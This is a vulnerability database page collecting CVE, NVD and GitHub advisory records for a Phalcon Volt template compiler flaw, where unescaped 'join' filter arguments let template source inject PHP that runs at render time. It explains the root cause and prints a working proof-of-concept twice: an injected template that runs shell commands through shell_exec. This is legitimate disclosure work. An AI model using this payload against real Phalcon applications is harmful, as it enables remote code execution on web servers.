CVE-2026-59989 (GCVE-0-2026-59989)
Vulnerability from cvelistv5 – Published: 2026-08-21 20:25 – Updated: 2026-08-27 16:24
VLAI
EPSS
VEX
Title
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI lead to RCE)
Summary
Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\Mvc\View\Engine\Volt::render() loads the template. This issue is fixed in version 5.16.0.
Severity
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-25 03:56 UTC
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://github.com/phalcon/cphalcon/security/advi… | x_refsource_CONFIRM |
| https://github.com/phalcon/cphalcon/pull/17217 | x_refsource_MISC |
| https://github.com/phalcon/cphalcon/commit/e43406… | x_refsource_MISC |
| https://github.com/phalcon/cphalcon/releases/tag/… | x_refsource_MISC |
Impacted products
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FKIE_CVE-2026-59989
Vulnerability from fkie_nvd - Published: 2026-08-21 21:17 - Updated: 2026-10-12 16:10
Severity
Summary
Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\Mvc\View\Engine\Volt::render() loads the template. This issue is fixed in version 5.16.0.
References
Impacted products
| Vendor | Product | Version |
|---|
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GHSA-HRWP-4HH9-C8R8
Vulnerability from github – Published: 2026-08-21 20:55 – Updated: 2026-08-27 16:33
VLAI
Summary
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)
Details
Summary
The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.
Details
Root cause
phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:
case "join":
return "join('" . funcArguments[1]["expr"]["value"]
. "', " . funcArguments[0]["expr"]["value"] . ")";
funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join(' … ' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.
Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):
ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");
i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.
The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.
PoC
<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;
$cmd = 'id; uname -a; hostname';
$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";
$compiled = (new Compiler())->compileString($tpl);
$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);
Impact
Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.15.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phalcon/cphalcon"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59989"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-21T20:55:56Z",
"nvd_published_at": "2026-08-21T21:17:00Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter\u0027s **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join(\u0027\u2026\u0027)` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -\u003e remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n return \"join(\u0027\" . funcArguments[1][\"expr\"][\"value\"]\n . \"\u0027, \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join(\u0027` \u2026 `\u0027` quotes with no neutralisation of `\u0027`, and the array value is emitted with no quoting at all. Volt\u0027s scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -\u003e `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join(\u0027\", \u0026_19$$24, \"\u0027, \", \u0026_22$$24, \")\");\n```\n\ni.e. literally `\"join(\u0027\" + separator + \"\u0027, \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n\u003c?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = \u0027id; uname -a; hostname\u0027;\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ [\u0027x\u0027] | join(\\\"\u0027,[]); echo shell_exec(base64_decode(\u0027$b64\u0027)); //\\\") }}\";\n\n$compiled = (new Compiler())-\u003ecompileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), \u0027volt\u0027) . \u0027.php\u0027;\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n\u003cimg width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" /\u003e\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.",
"id": "GHSA-hrwp-4hh9-c8r8",
"modified": "2026-08-27T16:33:43Z",
"published": "2026-08-21T20:55:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59989"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/pull/17217"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd"
},
{
"type": "PACKAGE",
"url": "https://github.com/phalcon/cphalcon"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/releases/tag/v5.16.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)"
}
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Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.